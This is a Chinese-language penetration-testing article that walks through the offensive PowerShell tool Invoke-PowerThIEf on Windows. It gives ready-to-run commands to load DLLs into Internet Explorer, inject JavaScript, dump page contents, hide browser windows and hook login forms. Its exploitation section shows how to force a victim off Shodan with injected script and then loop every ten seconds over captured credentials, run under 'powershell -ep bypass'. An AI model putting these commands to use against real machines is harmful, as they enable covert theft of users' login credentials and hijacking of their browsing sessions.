Invoke-PowerThIEf利用分析
0x00 前言
Invoke-PowerThIEf是一个开源的Powershell脚本,不仅能够用来对IE浏览器窗口的内容进行操作,还能通过Hook的方法捕获IE浏览器的凭据。
地址如下:
https://github.com/nettitude/Invoke-PowerThIEf
本文将要对Invoke-PowerThIEf的功能进行测试,分享在Win7 sp1 x64下的使用方法,结合自己的经验,分析利用思路。
0x01 简介
本文将要介绍以下内容:
- 功能测试
- Win7Sp1下的使用方法
- 利用分析
0x02 功能测试
Invoke-PowerThIEf需要的环境配置如下:
- IE 11
- Win 7-10
- .Net 4.0+
- Powershell 4.0
考虑到以下原因:
- Window7或Windows Server 2008,默认安装PowerShell 2.0
- Windows8或Windows server 2012,默认安装PowerShell 3.0
- Windows 8.1或Windows server 2012 R2,默认安装PowerShell 4.0
首先选择Windows server 2012 R2 x64作为测试环境,可直接运行
常用功能如下:
(1)列出IE浏览器的所有页面
Invoke-PowerThIEf -action ListUrls
(2)在IE进程中加载dll
示例如下:
Invoke-PowerThIEf -action ExecPayload -PathPayload calc_x64.dll
默认会在所有页面中执行加载dll的操作,并且会新建新的页面
例如:
如果当前IE进程有3个页面,执行该操作后会执行3次加载dll的操作,并且会在IE浏览器中新建3个页面
个人认为该功能的效果有限
(3)向IE页面中插入JavaScript代码并执行
针对所有页面:
Invoke-PowerThIEf -action InvokeJS -Script <JavaScript to run>
针对指定页面:
Invoke-PowerThIEf -action InvokeJS -BrowserIndex <BrowserIndex> -Script <JavaScript to run>
注:
<BrowserIndex>
可通过ListUrls命令获得
示例如下:
Invoke-PowerThIEf -action InvokeJS -Script 'alert(document.location.href);'
Invoke-PowerThIEf -action InvokeJS -BrowserIndex 132572 -Script "alert(`"1`");"
(4)Dump页面内容
针对所有页面:
Invoke-PowerThIEf -action DumpHTML
针对指定页面:
Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex>
针对指定页面的指定元素:
Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType tag -Selector <type>
Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType id -Selector <id>
Invoke-PowerThIEf -action DumpHTML -BrowserIndex <BrowserIndex> -SelectorType name -Selector <name>
(5)隐藏和显示页面
隐藏所有页面:
Invoke-PowerThIEf -action HideWindow
隐藏指定页面:
Invoke-PowerThIEf -action HideWindow -BrowserIndex <BrowserIndex>
显示所有页面:
Invoke-PowerThIEf -action ShowWindow
显示指定页面:
Invoke-PowerThIEf -action ShowWindow -BrowserIndex <BrowserIndex>
这里会对页面所在的进程iexploer.exe进行隐藏和显示
例如:
如果进程iexploer1.exe下有两个页面A和B,进程iexploer2.exe下有两个页面C和D,如果隐藏页面A,那么会隐藏进程iexploer1.exe下的所有页面A和B,而iexploer2.exe下有的两个页面C和D不受影响
(6)页面重定向
控制页面访问指定的URL
针对所有页面:
Invoke-PowerThIEf -action Navigate -NavigateUrl <URL>
针对指定页面:
Invoke-PowerThIEf -action Navigate -BrowserIndex <BrowserIndex> -NavigateUrl <URL>
(7)捕获凭据
这里分为两个步骤:
1.命令执行后,将会Hook所有新打开的页面并记录凭据
Invoke-PowerThIEf -action HookLoginForms
2.查看已捕获的凭据
Invoke-PowerThIEf -action Creds
(8)新建页面
Invoke-PowerThIEf -action NewBackgroundTab
0x03 Win7Sp1下的使用方法
这里使用的测试系统为Win7Sp1 x64
Invoke-PowerThIEf直接在Win7sp1下使用会报错,提示如下:
Unable to find type [System.__ComObject]: make sure that the assembly containin
g this type is loaded.
At C:\test\Invoke-PowerThIEf.ps1:151 char:41
+ [OutputType([System.__ComObject] <<<< )]
+ CategoryInfo : InvalidOperation: (System.__ComObject:String) []
, ParentContainsErrorRecordException
+ FullyQualifiedErrorId : TypeNotFound
这里需要安装Microsoft .NET Framework 4.5和Windows Management Framework 4.0
1.安装Microsoft .NET Framework 4.5
命令行下的安装方法可参考之前的文章《渗透基础——命令行下安装Microsoft .NET Framework》
实现自动安装的代码可参考:
https://github.com/3gstudent/Homework-of-C-Language/blob/master/Install_.Net_Framework_from_the_command_line.cpp
安装后需要等待系统重新启动才能生效
2.安装Windows Management Framework 4.0
下载地址:
https://www.microsoft.com/en-us/download/details.aspx?id=40855
命令行下的安装命令如下:
wusa.exe Windows6.1-KB2819745-x64-MultiPkg.msu /quiet /norestart
安装成功后进程wusa.exe将会自动退出
同样需要等待系统重启启动才能生效
再次执行Invoke-PowerThIEf
报错提示如下:
Add-Type : Could not load file or assembly 'Microsoft.mshtml,
Version=7.0.3300.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' or one
of its dependencies. The system cannot find the file specified.
At C:\test\Invoke-PowerThIEf.ps1:362 char:13
+ Add-Type -TypeDefinition $source -Language CSharp
-ReferencedAssembl ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~
+ CategoryInfo : NotSpecified: (:) [Add-Type], FileNotFoundExcept
ion
+ FullyQualifiedErrorId : System.IO.FileNotFoundException,Microsoft.PowerS
hell.Commands.AddTypeCommand
错误的原因是代码中使用了:using mshtml;
,缺少这个引用文件
Invoke-PowerThIEf在Server2012R2下能够正常使用,于是我尝试比较Server2012R2和Win7系统的差异,看看能否通过替换文件的方式解决这个问题
解决方法1
参考资料:
https://www.crifan.com/microsoft_html_object_library_mshtml_tlb_in_com_vs_microsoft_mshtml_microsoft_mshtml_dll_in_dotnet/
在安装VS2015的Server2012R2下尝试导出mshtml.dll,命令如下:
C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin\x64\tlbimp.exe C:\Windows\System32\mshtml.tlb /out:c:\test\mshtml.dll
获得mshtml.dll
将mshtml.dll放在Invoke-PowerThIEf的同级目录下,重命名为Microsoft.mshtml.dll
执行后依旧是同样的错误,如下图
该方法失败
解决方法2
经过对比,发现Server2012R2比Win7系统多了文件夹:C:\Windows\assembly\GAC\Microsoft.mshtml
如下图
具体多出以下文件:
C:\Windows\assembly\GAC>tree Microsoft.mshtml /f
Folder PATH listing
Volume serial number is F4B2-E12B
C:\WINDOWS\ASSEMBLY\GAC\MICROSOFT.MSHTML
└───7.0.3300.0__b03f5f7f11d50a3a
Microsoft.mshtml.dll
__AssemblyInfo__.ini
注:
C:\Windows\assembly下文件夹的具体内容只能通过命令行进行查看,无法在Explorer中查看
于是尝试将Server2012R2系统中C:\Windows\assembly\GAC\Microsoft.mshtml的所有内容复制到Win7下面
我已经将C:\Windows\assembly\GAC\Microsoft.mshtml的所有内容提取出来并上传至github,地址如下:
https://github.com/3gstudent/Invoke-PowerThIEf/tree/master/Microsoft.mshtml
在Win7系统的命令行下执行:
xcopy Microsoft.mshtml C:\Windows\assembly\GAC\Microsoft.mshtml /i /s /e
再次执行Invoke-PowerThIEf,运行成功,如下图
0x04 利用分析
Invoke-PowerThIEf的利用场景主要有以下3个:
1.控制IE浏览器访问指定页面并获得网页内容
(1)创建一个新页面
Invoke-PowerThIEf -action NewBackgroundTab
(2)获得新页面的序号
Invoke-PowerThIEf -action ListUrls
假设这里的序号为132572
(3)将其重定向到指定URL
这里以https://www.shodan.io/
为例
Invoke-PowerThIEf -action Navigate -BrowserIndex 132572 -NavigateUrl https://www.shodan.io/
(4)抓取页面结果
Invoke-PowerThIEf -action DumpHTML -BrowserIndex 132572
(5)关闭此页面
Invoke-PowerThIEf -action InvokeJS -BrowserIndex 132572 -Script "window.opener=null;window.open('','_self');window.close();"
补充:重定向到空白页面
Invoke-PowerThIEf -action Navigate -BrowserIndex 132572 -NavigateUrl about:blank
2.抓取凭据
(1)列出所有标签
Invoke-PowerThIEf -action ListUrls
发现后台有shodan的登录页面
(2)开启抓取凭据的功能
Invoke-PowerThIEf -action HookLoginForms
(3)强制shodan账号退出登录状态
Invoke-PowerThIEf -action InvokeJS -BrowserIndex 525660 -Script "window.location.href = 'https://account.shodan.io/logout';"
等待用户重新登录
(4)查看抓取到的凭据
Invoke-PowerThIEf -action Creds
这里需要注意,执行完步骤2后不能退出Powershell进程,否则无法抓取到新的凭据
如果想要自动实现以上功能,这里可以通过加循环的方法实现每隔10秒在后台抓取凭据,使用的Powershell命令如下:
Invoke-PowerThIEf -action HookLoginForms
while(1)
{
Start-Sleep –s 10
Write-host "[*] Sleep 10 seconds"
Invoke-PowerThIEf -action Creds
}
执行脚本:
powershell -ep bypass -f Invoke-PowerThIEf.ps1
3.修改页面内容,执行JavaScript代码
针对所有页面:
Invoke-PowerThIEf -action InvokeJS -Script <JavaScript to run>
针对指定页面:
Invoke-PowerThIEf -action InvokeJS -BrowserIndex <BrowserIndex> -Script <JavaScript to run>
要实现的功能取决于具体的JavaScript代码
0x05 小结
本文介绍了Invoke-PowerThIEf支持的功能,分享在Win7 sp1 x64下的使用方法,结合自己的经验,分析利用思路。